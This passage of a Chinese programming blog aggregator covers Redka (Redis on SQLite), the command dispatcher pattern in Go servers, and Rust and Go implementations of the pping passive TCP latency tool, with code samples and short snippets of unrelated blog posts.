12345678910111213141516Command Go API Description------- ------------------ -----------HDEL DB.Hash().Delete Deletes one or more fields and their values.HEXISTS DB.Hash().Exists Determines whether a field exists.HGET DB.Hash().Get Returns the value of a field.HGETALL DB.Hash().Items Returns all fields and values.HINCRBY DB.Hash().Incr Increments the integer value of a field.HINCRBYFLOAT DB.Hash().IncrFloat Increments the float value of a field.HKEYS DB.Hash().Keys Returns all fields.HLEN DB.Hash().Len Returns the number of fields.HMGET DB.Hash().GetMany Returns the values of multiple fields.HMSET DB.Hash().SetMany Sets the values of multiple fields.HSCAN DB.Hash().Scanner Iterates over fields and values.HSET DB.Hash().SetMany Sets the values of one or more fields.HSETNX DB.Hash().SetNotExists Sets the value of a field when it doesn't exist.HVALS DB.Hash().Exists Returns all values.暂时不支持的命令
1HRANDFIELD HSTRLENSorted Set
123456789101112131415161718192021Command Go API Description------- ------ -----------ZADD DB.ZSet().AddMany Adds or updates one or more members of a set.ZCARD DB.ZSet().Len Returns the number of members in a set.ZCOUNT DB.ZSet().Count Returns the number of members of a set within a range of scores.ZINCRBY DB.ZSet().Incr Increments the score of a member in a set.ZINTER DB.ZSet().InterWith Returns the intersection of multiple sets.ZINTERSTORE DB.ZSet().InterWith Stores the intersection of multiple sets in a key.ZRANGE DB.ZSet().RangeWith Returns members of a set within a range of indexes.ZRANGEBYSCORE DB.ZSet().RangeWith Returns members of a set within a range of scores.ZRANK DB.ZSet().GetRank Returns the index of a member in a set ordered by ascending scores.ZREM DB.ZSet().Delete Removes one or more members from a set.ZREMRANGEBYRANK DB.ZSet().DeleteWith Removes members of a set within a range of indexes.ZREMRANGEBYSCORE DB.ZSet().DeleteWith Removes members of a set within a range of scores.ZREVRANGE DB.ZSet().RangeWith Returns members of a set within a range of indexes in reverse order.ZREVRANGEBYSCORE DB.ZSet().RangeWith Returns members of a set within a range of scores in reverse order.ZREVRANK DB.ZSet().GetRankRev Returns the index of a member in a set ordered by descending scores.ZSCAN DB.ZSet().Scan Iterates over members and scores of a set.ZSCORE DB.ZSet().GetScore Returns the score of a member in a set.ZUNION DB.ZSet().UnionWith Returns the union of multiple sets.ZUNIONSTORE DB.ZSet().UnionWith Stores the union of multiple sets in a key.不支持的命令
123BZMPOP BZPOPMAX BZPOPMIN ZDIFF ZDIFFSTORE ZINTERCARDZLEXCOUNT ZMPOP ZMSCORE ZPOPMAX ZPOPMIN ZRANDMEMBERZRANGEBYLEX ZRANGESTORE ZREMRANGEBYLEX ZREVRANGEBYLEXKey
123456789101112131415161718Command Go API Description------- ------ -----------DBSIZE DB.Key().Len Returns the total number of keys.DEL DB.Key().Delete Deletes one or more keys.EXISTS DB.Key().Count Determines whether one or more keys exist.EXPIRE DB.Key().Expire Sets the expiration time of a key (in seconds).EXPIREAT DB.Key().ExpireAt Sets the expiration time of a key to a Unix timestamp.FLUSHDB DB.Key().DeleteAll Deletes all keys from the database.KEYS DB.Key().Keys Returns all key names that match a pattern.PERSIST DB.Key().Persist Removes the expiration time of a key.PEXPIRE DB.Key().Expire Sets the expiration time of a key in ms.PEXPIREAT DB.Key().ExpireAt Sets the expiration time of a key to a Unix ms timestamp.RANDOMKEY DB.Key().Random Returns a random key name from the database.RENAME DB.Key().Rename Renames a key and overwrites the destination.RENAMENX DB.Key().RenameNotExists Renames a key only when the target key name doesn't exist.SCAN DB.Key().Scanner Iterates over the key names in the database.TTL DB.Key().Get Returns the expiration time in seconds of a key.TYPE DB.Key().Get Returns the type of value stored at a key.不支持的命令
123COPY DUMP EXPIRETIME MIGRATE MOVE OBJECT PEXPIRETIMEPTTL RESTORE SORT SORT_RO TOUCH TTL TYPE UNLINKWAIT WAITAOF事务
12345Command Go API Description------- ------ -----------DISCARD DB.View / DB.Update Discards a transaction.EXEC DB.View / DB.Update Executes all commands in a transaction.MULTI DB.View / DB.Update Starts a transaction.与 Redis 不同，Redka 的事务完全符合 ACID 属性，在发生故障时会自动回滚。
不支持的命令
1UNWATCH WATCH连接管理
1234Command Go API Description------- ------ -----------ECHO - Returns the given string.PING - Returns the server's liveliness response.安装
你可以以独立的服务的形式安装。官方文档提供了方便的 Linux、macOS 的安装脚本，你也可以使用 docker 进行部署。
也可以在你的 Go 程序中当成一个库引用:
go get github.com/nalgeon/redka，当然了你也必须引入 sqlite 的库，比如github.com/mattn/go-sqlite3或者modernc.org/sqlite。运行
你可以使用
redka [-h host] [-p port] [db-path]启动一个 redka 服务，比如123./redka./redka data.db./redka -h 0.0.0.0 -p 6379 data.db如果没有指定数据库文件，那么它就完全使用内存的方式。
如果当成一个库引入使用，你可以像这样在进程内使用:\
12345678910111213141516171819package mainimport ("log"_ "github.com/mattn/go-sqlite3""github.com/nalgeon/redka")func main() {// Open or create the data.db file.db, err := redka.Open("data.db", nil)if err != nil {log.Fatal(err)}// Always close the database when you are finished.defer db.Close()// ...}如果是使用内存的方式，可以指定 sqlite 使用内存的方式打开:
12// All data is lost when the database is closed.redka.Open("file:redka?mode=memory&cache=shared")然后代码中就可以直接调用：
12345678db.Str().Set("name", "alice")db.Str().Set("age", 25)count, err := db.Key().Count("name", "age", "city")slog.Info("count", "count", count, "err", err)name, err := db.Str().Get("name")slog.Info("get", "name", name, "err", err)下面的代码是使用事务的例子：
12345678910111213141516updCount := 0err := db.Update(func(tx *redka.Tx) error {err := tx.Str().Set("name", "bob")if err != nil {return err}updCount++err = tx.Str().Set("age", 50)if err != nil {return err}updCount++return nil})slog.Info("updated", "count", updCount, "err", err)性能
作者在 Apple M1 8-core CPU, 16GB RAM 的苹果机器和 Redis 进行了性能比较。
使用下面的场景进行比较(redis-benchmark -p 6379 -q -c 10 -n 1000000 -r 10000 -t get,set)：- 10 parallel connections
- 1000000 requests
- 10000 randomized keys
- GET/SET commands
比 Redis 慢 2~5 倍，这也合理，毕竟底层采用一个关系数据库进行存储。
给我们的启发
Redka 使用 redcon 进行 Redis 命令的解析，然后针对每种大类的 Redis 命令，会有一个单独的表进行存储。
12345678910111213141516171819202122232425262728293031323334353637rkey---id integer primary keykey text not nulltype integer not null -- 1 string, 2 list, 3 set, 4 hash, 5 sorted setversion integer not null -- incremented when the key value is updatedetime integer -- expiration timestamp in unix millisecondsmtime integer not null -- modification timestamp in unix millisecondslen integer -- number of child elementsrstring---kid integer not null -- FK -> rkey.idvalue blob not nullrlist---kid integer not null -- FK -> rkey.idpos real not null -- is used for ordering, but is not an indexelem blob not nullrset---kid integer not null -- FK -> rkey.idelem blob not nullrhash---kid integer not null -- FK -> rkey.idfield text not nullvalue blob not nullrzset---kid integer not null -- FK -> rkey.idelem blob not nullscore real not null既然它支持 sqlite, 我们可以把它 port 到其它的数据库上，比如 clickhouse，这样我们就可以支持巨量的数据了。
当然更深一步，我们还可以接入其他的 NoSQL 数据库，比如 RocksDB 等，类似的项目都有很多了。
这是一个很有意思的项目。
- 博客 西秦公子 2024-06-03 22:35:27最近因为锁骨上的取出，住了一次院。虽然我自己在同一家医院住过，但依然还是犯了不少的错。因此把我自己认为的一些需 […]
- 博客 卢昌海的个人主页 2024-06-03 09:54:00站长在 Hersey Park 乘坐过山车时拍摄的视频
- 博客 鸟窝 2024-06-03 07:53:37
命令分发模式 (command dispatcher pattern)不属于23种经典的设计模式。它是一种不太为人所知的设计模式,它主要用于构建可扩展、可插拔的系统架构,将请求与执行请求的操作对象解耦。它类似于命令模式(Command Pattern),但更加灵活和动态。
虽然Command Dispatch Pattern不属于那23种经典模式,但它确实是一种很有价值的模式,可以应用于需要在运行时动态添加、修改或删除操作的系统中,使系统更加灵活和可扩展。
这种模式通过允许方便的添加、替换或移除任何命令处理器, 非常的灵活，将命令调用和命令处理解耦。而且每个命令可以由单独的命令处理器处理，代码组织和维护也很方便。
实际上，对于 Gopher 来讲，必然已经接触到这个模式了，只不过少有人指出或者梳理这种模式，但是在标准库和一些知名的项目中，其实已经自然的应用了，而且看起来整个架构也非常的清爽。
让我们看一个标准库实现 web 服务的例子：
12345678910111213141516171819202122232425262728package mainimport ("fmt""net/http")// 定义 HTTP 处理程序函数func homeHandler(w http.ResponseWriter, r *http.Request) {fmt.Fprint(w, "Welcome to the home page!")}func aboutHandler(w http.ResponseWriter, r *http.Request) {fmt.Fprint(w, "This is the about page.")}func main() {// 创建一个新的 ServeMux 实例mux := http.NewServeMux()// 注册处理程序函数mux.HandleFunc("/", homeHandler)mux.HandleFunc("/about", aboutHandler)// 启动 HTTP 服务器fmt.Println("Starting server at :8080")http.ListenAndServe(":8080", mux)}在这个示例中,我们可以把
http.ServeMux看作是 Command Dispatcher,而 HTTP 请求就是一个命令。通过
mux.HandleFunc，将命令 (path，请求路径) 与命令处理程序 (handler, 处理程序函数) 进行绑定的过程。新增一个命令，就注册一个新的处理程序。
移除一条命令，就删除那一条绑定语句。
修改一条命令，就替换对应的处理程序。Http server 收到 HTTP 请求后，解析出路径信息，然后从注册的信息中找到这个路径对应的处理程序，然后调用这个处理程序。
这是一个经典的命令分发模式的应用。对于贝尔实验室出来的 Rob Pike、Russ Cox 来说，它们和 GoF 设计模式的这一派属于两个门派，所以在 Go 语言中 Rob Pike、Russ Cox 很少会讲到面向对象的设计模式，但是这种 HTTP 的这种实现方法我们可以把它归类为命令分发模式，而且是一个标准的模式实现。
接下来，我再给你介绍几种知名项目中使用这种模式的例子。毕竟，这种设计模式应用的场景之一就是微服务：
- 分布式系统：在分布式系统中，命令分发模式可以用于将命令分配到不同的服务或节点进行处理。
- 微服务架构：在微服务架构中，命令分发模式可以用于协调不同微服务之间的命令处理。
- 复杂应用：在复杂应用中，命令分发模式可以用于解耦命令的发出者和处理者，提高系统的灵活性和可维护性。
Rpc 中处理
Go 生态圈中知名的微服务框架之一 rpcx 实现了两种命令分发方式：
- 类似 Go 标准库的 rpc, 通过发射的方式找到对应的微服务方法，然后调用
- 第二种是类似 Go 标准库这种路由绑定的方法，通过绑定 handler 方式
这两种方式都属于命令分发的设计模式，但是第二种更直观。比如下面一个微服务的例子：
12345678910111213141516171819202122232425262728293031323334353637383940package mainimport ("flag"example "github.com/rpcxio/rpcx-examples""github.com/smallnest/rpcx/server")var (addr = flag.String("addr", "localhost:8972", "server address"))func mul(ctx *server.Context) error {var args example.Argserr := ctx.Bind(&args)if err != nil {return err}var reply example.Replyreply.C = args.A * args.Bctx.Write(reply)return nil}func main() {flag.Parse()s := server.NewServer()s.AddHandler("Arith", "Mul", mul)err := s.Serve("tcp", *addr)if err != nil {panic(err)}}这里例子以一个
乘法的微服务做例子。函数mul是命令(微服务)处理函数。s.AddHandler将微服务和命令处理函数进行绑定。这和 HTTP 的例子非常的类似。server就是一个分发器，它收到客户端的微服务请求，解析出微服务的名称 (名字和方法名)，找到注册的 handler, 把参数传给 handler 去处理。lesismal 实现的一个高性能的 Go 微服务框架 arpc 也是采用的这种方式:
1234567891011121314151617181920212223242526272829package mainimport ("log""github.com/lesismal/arpc")func main() {svr := arpc.NewServer()// register routersvr.Handler.Handle("/echo/sync", func(ctx *arpc.Context) {str := ""err := ctx.Bind(&str)ctx.Write(str)log.Printf("/echo/sync: \"%v\", error: %v", str, err)})// register routersvr.Handler.Handle("/echo/async", func(ctx *arpc.Context) {str := ""err := ctx.Bind(&str)go ctx.Write(str)log.Printf("/echo/async: \"%v\", error: %v", str, err)})svr.Run("localhost:8888")}处理微服务、web 路由等这些场景。在基础架构的软件开发中，这种模式对于实现命令式的基础服务组件，也非常的合适，接下来我给你介绍实现自研 memcached 和 redis 服务的基于命令分发模式实现的架构。
在自研基础架构产品中的应用
自研类 memcached 的缓存系统
Memcached是一种分布式内存对象缓存系统,用于加速动态Web应用程序的响应速度。它基于一种高效的基于内存的键值对存储,设计用于缓存小的数据块。
Memcached的主要优势包括:
- 高性能:基于内存操作,能够提供非常高的读写性能。
- 减少服务器负载:通过缓存数据减轻了数据库的访问压力。
- 可扩展性:支持分布式集群部署,能够线性扩展。
Memcached的作者是Brad Fitzpatrick。也曾是 Go 开发团队成员之一，维护 Go HTTP 库等。也是 Go memcached client 库 bradfitz/gomemcache: 的作者。
这里我们介绍的是 Go memcached 服务端的库，在你实现类似 Memcached 服务的时候很有用。
Memcached 有文本和二进制两种协议，这里我们介绍的是文本协议，它比较简单，而且也方便使用 telenet 等命令测试。下面是一些常用的Memcached命令:
- 存储命令:
set key flags exptime bytes [noreply]: 存储一个键值对,并设置可选的标志、过期时间、数据长度和noreply。add key flags exptime bytes [noreply]: 仅当键不存在时添加一个新的键值对。replace key flags exptime bytes [noreply]: 仅当键已存在时替换键的值。
- 检索命令:
get key [key ...]: 获取一个或多个键的值。gets key: 获取带有CAS令牌的键值对,用于检查并设置操作。
- 操作命令:
incr key value [noreply]: 将键的数值增加给定的值。decr key value [noreply]: 将键的数值减少给定的值。append key flags exptime bytes [noreply]: 将数据追加到一个已存在的键的值中。prepend key flags exptime bytes [noreply]: 将数据添加到一个现有键的值的开始部分。cas keyflags exptime bytes unique-cas-token [noreply]: 使用CAS令牌实现检查并设置操作。
- 删除命令:
delete key [noreply]: 删除一个键值对。
- 统计命令:
stats: 获取Memcached服务器统计信息。stats reset: 重置Memcached服务器统计信息。
- 其他命令:
flush_all [delay] [noreply]: 清空整个Memcached服务器中的所有键值对数据。version: 获取Memcached服务器版本信息。quit: 关闭Memcached连接。
这些命令通过TCP连接以文本形式发送给Memcached服务器,服务器也以文本形式返回响应结果。例如,成功的响应以"OK"开头,错误响应以"ERROR"或"SERVER_ERROR"开头。
smallnest/gomemcached 是实现 memcache server 端的一个库，我们来看它的一个简单例子：
123456789mockServer = NewServer(addr)mockServer.RegisterFunc("get", DefaultGet)mockServer.RegisterFunc("gets", DefaultGet)mockServer.RegisterFunc("set", DefaultSet)mockServer.RegisterFunc("delete", DefaultDelete)mockServer.RegisterFunc("incr", DefaultIncr)mockServer.RegisterFunc("flush_all", DefaultFlushAll)mockServer.RegisterFunc("version", DefaultVersion)mockServer.Start()Server 是一个命令分发器，你可以注册你实现的命令处理函数。
你甚至扩展，为你的缓存产品增加 memcached 不支持的命令，比如auth等等。自研类 Redis 的系统
如果你要开发类似 Redis 的服务，也有一个非常知名的库，甚至可以说是 Go 生态圈的首选，就是 tidwall/redcon
它基于命令分发模式，提供了一个通用的 Redis 服务端框架，下面是一个它的例子：
1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677787980818283848586878889909192939495969798package mainimport ("log""strings""sync""github.com/tidwall/redcon")var addr = ":6380"func main() {var mu sync.RWMutexvar items = make(map[string][]byte)var ps redcon.PubSubgo log.Printf("started server at %s", addr)err := redcon.ListenAndServe(addr,func(conn redcon.Conn, cmd redcon.Command) {switch strings.ToLower(string(cmd.Args[0])) {default:conn.WriteError("ERR unknown command '" + string(cmd.Args[0]) + "'")case "ping":conn.WriteString("PONG")case "quit":conn.WriteString("OK")conn.Close()case "set":if len(cmd.Args) != 3 {conn.WriteError("ERR wrong number of arguments for '" + string(cmd.Args[0]) + "' command")return}mu.Lock()items[string(cmd.Args[1])] = cmd.Args[2]mu.Unlock()conn.WriteString("OK")case "get":if len(cmd.Args) != 2 {conn.WriteError("ERR wrong number of arguments for '" + string(cmd.Args[0]) + "' command")return}mu.RLock()val, ok := items[string(cmd.Args[1])]mu.RUnlock()if !ok {conn.WriteNull()} else {conn.WriteBulk(val)}case "del":if len(cmd.Args) != 2 {conn.WriteError("ERR wrong number of arguments for '" + string(cmd.Args[0]) + "' command")return}mu.Lock()_, ok := items[string(cmd.Args[1])]delete(items, string(cmd.Args[1]))mu.Unlock()if !ok {conn.WriteInt(0)} else {conn.WriteInt(1)}case "publish":if len(cmd.Args) != 3 {conn.WriteError("ERR wrong number of arguments for '" + string(cmd.Args[0]) + "' command")return}conn.WriteInt(ps.Publish(string(cmd.Args[1]), string(cmd.Args[2])))case "subscribe", "psubscribe":if len(cmd.Args) < 2 {conn.WriteError("ERR wrong number of arguments for '" + string(cmd.Args[0]) + "' command")return}command := strings.ToLower(string(cmd.Args[0]))for i := 1; i < len(cmd.Args); i++ {if command == "psubscribe" {ps.Psubscribe(conn, string(cmd.Args[i]))} else {ps.Subscribe(conn, string(cmd.Args[i]))}}}},func(conn redcon.Conn) bool {// Use this function to accept or deny the connection.// log.Printf("accept: %s", conn.RemoteAddr())return true},func(conn redcon.Conn, err error) {// This is called when the connection has been closed// log.Printf("closed: %s, err: %v", conn.RemoteAddr(), err)},)if err != nil {log.Fatal(err)}}redcon.ListenAndServe 是一个命令分发器，你可以注册你实现的命令处理函数。
在上面的例子中，每一个switch case是一种命令的处理，这里的例子很简单，就没有把每种命令的处理逻辑写成一个个独立的handler,而是直接在case中直接处理。如果我们要实现一个类Redis系统，最好的方式是把每种命令的处理逻辑写成一个个独立的handler，这样代码更清晰，更易维护。
这些handler最好按照redis命令的分类，分成几个文件，分别处理string、set等类型。这样的设计，不仅符合命令分发模式，而且符合单一职责原则，代码更易维护。
从上面的几个例子来看，命令分发模式在实现类似 Memcached、Redis 这种基础架构产品中非常适用，它可以帮助我们实现一个灵活、可扩展的系统架构。本周的另外一篇文章，介绍一个基于SQLite的类Redisa的实现，也是采用了命令分发模式,请关注“鸟窝聊技术”公众号，及时获取最新的文章。
- 博客 二丫讲梵 2024-06-03 01:29:02如要阅读全文，点击标题跳转。自 OpenAI 公司于 2022 年 11 月 30 日发布 ChatGPT 开始，沉寂到了湖底的互联网，就像被掷入了一块儿巨石，水花冲天，蔓延出来的余波，影响着每一个身处其中的人。我很早就接触了 OpenAI，并在工作及学习过程中深度使用，也凑热度开发过 OpenAI 相关的开源项目。这一路走来，我想聊聊，我的使用历史。最开始的时候，国内有一篇基于接码平台注册 OpenAI 账号的教程在各处被传阅，我也是在那个时候注册了自己的第一个账号，我也把自己成功实践的经验分享给了很多朋友，那个时候，接码平台都还能真的收到验证码。就这样开启了 ChatGPT 的嗨皮之旅。在使用的过程中，慢慢发现一个比较大的问题是，每次登陆 OpenAI 进行对话显得很是繁琐，于是很快各路英豪各显身手，各种套壳应用层出不穷，我们开始了解到 OpenAI 原来早已定义好了交互方案，创建一个秘钥，配置到套壳应用中，就可以畅快地与 AI 进行对话了。（彼时有不少前端项目，支持一键部署到 Vercel，经过这层代理之后，访问 OpenAI 变得又快又方便了，不过很快，Vercel 也被限制性访问了）就在我们以为配置了秘钥就能开心使用并高枕无忧的时候，才忽然发现原来这事儿并没那么简单。我在一开始完全没有注意到，秘钥是根据每次对话的内容（Token）来计费，而且第一批账号免费赠送的 5 刀的额度，会在 23 年 4 月 1 日过期。我们不得不接受并学习这个游戏规则，有的人很早就用完了，而有的人也在过期之后才发现自己还没使用。不论怎样，OpenAI 已经在变化了，彼时市面上也有很多卖账号的网站，我也曾因担心过期之后无法使用，买过两个账号，不过也都很快被 OpenAI 官方给无情封禁。再后来，第二批有额度的账号在 8 月份过期之后，我就再没通过官方账号折腾了，而是转而了解起国内的一些 AI，以及一些其他使用方案。市面上提供代理的服务也越来越多，加上国内 AI 入场的内卷化，普通消费者使用 AI 的成本也越来越低了。如上历程，也算得上是一部辛酸史了，而当历史来到 24 年 6 月，你无需再为这些而忧愁，对接一个好用的集成平台，就可以把专注在 AI 交互上了。
- 博客 bang's blog 2024-06-02 10:32:33接上篇，继续优化我们的黏土风 workflow。 引导图控制 来看看上篇里的最后一个case： 黏土风格效果还 […]
- 博客 构建我的被动收入 2024-06-01 08:00:00BMPI周记003：十年前的今天
- 博客 卢昌海的个人主页 2024-05-31 09:33:00站长在 Hersey Park 乘坐单轨火车时拍摄的视频
- 博客 二丫讲梵 2024-05-31 04:35:49如要阅读全文，点击标题跳转。学习周刊-总第161期,alist,ollama，好货多多
- 博客 胡涂说 2024-05-28 21:37:00330
- 博客 bang's blog 2024-05-26 17:09:39在前面的学习中，我们把 SD UNet 网络当成黑盒，不太影响对图片生成大致原理的理解，但在继续学 SD 的过 […]
- 博客 太隐 2024-05-26 11:06:17马国成冲着田文镜一声大吼：“田文镜，我操你妈！”
- 博客 太隐 2024-05-25 20:00:00333
- 博客 构建我的被动收入 2024-05-25 08:00:00BMPI周记002：交易之难
- 博客 二丫讲梵 2024-05-24 06:14:00如要阅读全文，点击标题跳转。学习周刊-总第160期,多合一的支持多个模型的浏览器插件
- 博客 鸟窝 2024-05-22 22:14:30
前两篇文章介绍了C++和Go中利用TCP Option中的时间戳实现计算网络时延。基于“用Rust重写一切”的哲学，今天我们来看看Rust中如何做这个事情。夜深人静，再肝一篇关于网络编程的文章。
Rust中还没有和 gopacket一样功能强大的包，它的pcap用来捕获网络包没有问题，但是缺乏解析的能力，所以我们使用另外一个包pdu来实现网络包的解析。
当然rust生态圈中还有其他的包捕获库如pnet、包解析库如etherparse等，但是我选择了pcap和pdu，因为针对这篇文章的场景，它们用起来很顺手。
为了简单起见，我们不像前两篇文章那样的程序那么复杂，还要解析参数，针对参数做不同的处理，这次Rust实现的程序中，我们主要实现其最核心的功能：
- 捕获 TCP 包
- 解析TCP选项中的时间戳
- 计算时延
我是在Mac mini的进行开发和运行的，理论在Linux上也是可以运行的。
你可能需要安装
libpcap库。Mac上可能你需要临时设置权限，才有可能正常运行程序：
1sudo chmod 666 /dev/bpf*首先看看程序运行的效果：
那么程序一开始，我们开始要使用pcap捕获包：
123456789101112131415161718192021222324252627282930use std::net::{Ipv4Addr,Ipv6Addr};use std::ops::Sub;use std::time::{Duration, UNIX_EPOCH};use chrono::{DateTime, Local};use macaddr::MacAddr;use pcap;use pdu::*;use libc;fn main() {// 这个用来记录flow已经它被捕获的时间let mut map = std::collections::HashMap::new();// 在Mac上，使用en1网卡let mut cap = pcap::Capture::from_device("en1").unwrap().immediate_mode(true).open().unwrap();// 你可以设置filter，这里我们简化不进行设置了// cap.filter("host 127.0.0.1", true).unwrap();while let Ok(packet) = cap.next_packet() {// 得到捕获的包信息......}}目前我们只能得到捕获的包信息，包括pcap增加的头信息(捕获时间、包长度等)和包的数据。
我们需要解析包的数据，得到TCP包，然后解析TCP选项中的时间戳。目前pcap不能帮助我们了。
我们在那个while循环中一步一步补充省略的代码：
12345678910111213141516171819202122232425262728293031323334353637let ethernet = EthernetPdu::new(&packet.data).unwrap();// 实现代码，输出源和目的MAC地址,转换成MacAddr类型let _src_mac = MacAddr::from(ethernet.source_address());let _dst_mac = MacAddr::from(ethernet.destination_address());// println!("ethernet: src_mac={}, dst_mac={}", src_mac, dst_mac);let ei = ethernet.inner();let (src_ip,dst_ip, tcp) = match ei {Ok(Ethernet::Ipv4(ref ip)) => {let src_ip = Ipv4Addr::from(ip.source_address()).to_string();let dst_ip = Ipv4Addr::from(ip.destination_address()).to_string();let tcp = match ip.inner() {Ok(Ipv4::Tcp(tcp)) => Some(tcp),_ => None};(src_ip,dst_ip,tcp)}Ok(Ethernet::Ipv6(ref ip)) => {let src_ip = Ipv6Addr::from(ip.source_address()).to_string();let dst_ip = Ipv6Addr::from(ip.destination_address()).to_string();let tcp = match ip.inner() {Ok(Ipv6::Tcp(tcp)) => Some(tcp),_ => None};(src_ip,dst_ip,tcp)}_ => (String::new(),String::new(),None)};......首先解析出
ethernet层,和gopacket调用方法不同，但是一样很简洁。ethernet中包含源目的Mac地址，如果你需要，你可以调用相应的方法获取它们。本程序不需要这两个信息，忽略即可。接下来解析
IP层,这会涉及到ipv4和ipv6两种情况，我们分别处理。1234567891011121314151617181920212223242526272829303132let ei = ethernet.inner();let (src_ip,dst_ip, tcp) = match ei {Ok(Ethernet::Ipv4(ref ip)) => {let src_ip = Ipv4Addr::from(ip.source_address()).to_string();let dst_ip = Ipv4Addr::from(ip.destination_address()).to_string();let tcp = match ip.inner() {Ok(Ipv4::Tcp(tcp)) => Some(tcp),_ => None};(src_ip,dst_ip,tcp)}Ok(Ethernet::Ipv6(ref ip)) => {let src_ip = Ipv6Addr::from(ip.source_address()).to_string();let dst_ip = Ipv6Addr::from(ip.destination_address()).to_string();let tcp = match ip.inner() {Ok(Ipv6::Tcp(tcp)) => Some(tcp),_ => None};(src_ip,dst_ip,tcp)}_ => (String::new(),String::new(),None)};if tcp.is_none() {continue;}let tcp = tcp.unwrap();调用
inner方法就可以得到IP层的信息，我们处理ipv4和ipv6两种情况，分别获取源目的IP地址和TCP层这三个数据。因为一开始我们没有设置filter,所以这里捕获的包很多，比如UDP的包、ARP的包，我们在这里检查包是否是TCP包，如果不是，我们忽略这个包。当然最好是一开始就设置filter，性能会更好。
接下来我们解析TCP选项中的时间戳：
12345678910111213141516let ts = tcp.options().find_map(|option| {match option {TcpOption::Timestamp{val,ecr} => {Some((val, ecr))}_ => None}});if ts.is_none() {continue;}if ts.unwrap().1 == 0 && !tcp.syn(){continue;}pdu库的好处是方便解析TCP以及它的选项。TCP的选项可能有好几个，我们只match时间戳的那个，得到时间戳的值和echo reply的值。接下来我们处理数据。首先根据五元组和
tval为key,将这个flow的信息存储到map中：1234let key = format!("{}:{}->{}:{}-{}", src_ip, tcp.source_port(),dst_ip,tcp.destination_port(),ts.unwrap().0);if !map.contains_key(key.as_str()) {map.insert(key, packet.header.ts);}然后我们找反向的key,如果存在，就说明有去向，当前处理的是回向，我们计算两个捕获的值的差，就是时延：
1234567let reverse_key = format!("{}:{}->{}:{}-{}", dst_ip, tcp.destination_port(),src_ip,tcp.source_port(),ts.unwrap().1);if map.contains_key(reverse_key.as_str()) {map.get(reverse_key.as_str()).map(|ts| {let rtt = timeval_diff_str(ts,&packet.header.ts);println!("{} {} {}:{}->{}:{}", timeval_to_current_time_str(&packet.header.ts), rtt,dst_ip, tcp.destination_port(),src_ip,tcp.source_port());});}当然为了避免
map中的数据越积越多，我们可以定期清理一下，这里我们根据map中的元素的数量决定要不要清理：12345678if map.len() > 10_000 {map.retain(|_,v| {let now = std::time::SystemTime::now();let duration = now.duration_since(UNIX_EPOCH).unwrap();let ts = Duration::new(v.tv_sec as u64, v.tv_usec as u32 * 1000);duration.sub(ts).as_secs() < 60});}然后补充两个计算时间的辅助程序，这就是这个程序的全部代码了:
1234567891011121314151617181920212223242526272829fn timeval_to_current_time_str(tv: &libc::timeval) -> String {let secs = tv.tv_sec as u64;let nsecs = (tv.tv_usec as u32 * 1000) as u64;let duration = UNIX_EPOCH + std::time::Duration::new(secs, nsecs as u32);let datetime = DateTime::<Local>::from(duration);datetime.format("%H:%M:%S").to_string()}fn timeval_diff_str(start: &libc::timeval, end: &libc::timeval) -> String {let secs = end.tv_sec as i64 - start.tv_sec as i64;let usecs = end.tv_usec as i64 - start.tv_usec as i64;let (secs, usecs) = if usecs < 0 {(secs - 1, usecs + 1_000_000)} else {(secs, usecs)};format_duration(secs, usecs as u32)}fn format_duration(secs: i64, usecs: u32) -> String {let duration = secs * 1_000_000 + usecs as i64;match duration {0..=999_999 => format!("{:.3}ms", duration as f64 / 1_000.0),_ => format!("{:.6}s", duration as f64 / 1_000_000.0),}}你对Rust实现的 pping 有什么看法，欢迎在评论区留下你宝贵的意见。
- 博客 鸟窝 2024-05-20 23:15:55
大家好，我是鸟窝。
在前一篇“pping：被动式ping,计算网络时延”一篇中，我给大家介绍了 pping 这个工具的原理和使用方法。这篇文章中，我将使用 Go 语言实现 pping 工具。
通过这篇文章，你将了解到：- 如何使用gopacket来捕获和解析网络数据包
- 如何设置捕获时长和过滤捕获的数据包
- 如何在CGO下静态编译库，如libpcap
- 了解TCP/IP协议栈的基本知识，如TCP Option
- 如何进行数据的统计和定时输出和清理
- 如何使用 pflag 来解析命令行参数
代码在: github.com/smallnest/pping-go
使用libpcap捕获数据包，并进行包过滤
我们并不直接使用libpcap，而是使用封装好的gopacket。
gopacket是一个用于处理数据包的库，它提供了一个高级的API，可以用来处理数据包的解析、分析和生成。它支持多种数据包格式，包括Ethernet、IPv4、IPv6、TCP、UDP、ICMP等。我们可以使用
gopacket来捕获数据包，然后使用gopacket/layers包来解析数据包的各个部分。12345678910111213141516// 创建一个新的非活动 pcap 句柄, *liveInp是网卡的名称inactive, _ := pcap.NewInactiveHandle(*liveInp)// 使用 defer 关键字确保在函数结束时清理非活动句柄defer inactive.CleanUp()// 设置捕获的数据包的最大长度inactive.SetSnapLen(snapLen)// 激活非活动句柄，返回一个活动句柄和可能的错误snif, err = inactive.Activate()// 如果在激活句柄时出现错误，我们打印错误并退出程序if err != nil {fmt.Printf("couldn't open %s: %v\n", *fname, err)os.Exit(1)}当然你也可以从一个tcpdump这样的工具捕获的pcap文件中解析包：
1234567// 使用 pcap.OpenOffline 函数打开一个离线 pcap 文件，返回一个 pcap 句柄和可能的错误snif, err = pcap.OpenOffline(*fname)// 如果在打开文件时出现错误，我们打印错误并退出程序if err != nil {fmt.Printf("couldn't open %s: %v\n", *fname, err)os.Exit(1)}之后设置filter进行包过滤, filter的格式和tcpdump使用的过滤格式一样，默认它会加上
TCP,只处理TCP的包:12// 使用 SetBPFFilter 方法设置 BPF 过滤器，过滤器的规则由变量 filter 定义snif.SetBPFFilter(filter)之后处理这个包:
12345678910111213src := gopacket.NewPacketSource(snif, layers.LayerTypeEthernet)// 使用 src.Packets() 获取一个数据包通道，我们可以从这个通道中读取数据包packets := src.Packets()for packet := range packets {processPacket(packet)......// 如果结束或者需要定期打印统计信息，可以使用下面的代码......// 如果需要清理过期的数据......解析包
从TCP Option中解析时间戳的函数是
getTSFromTCPOpts，它的实现如下：12345678910111213// getTSFromTCPOpts 用于从 TCP 选项中获取时间戳信息func getTSFromTCPOpts(tcp *layers.TCP) (uint32, uint32) {var tsval, tsecr uint32opts := tcp.Optionsfor _, opt := range opts {if opt.OptionType == layers.TCPOptionKindTimestamps && opt.OptionLength == 10 { // Timestamp 选项长度为 10 字节tsval = binary.BigEndian.Uint32(opt.OptionData[0:4])tsecr = binary.BigEndian.Uint32(opt.OptionData[4:8])break}}return tsval, tsecr}解析IP和TCP包，并从TCP包的Option解析出时间戳：
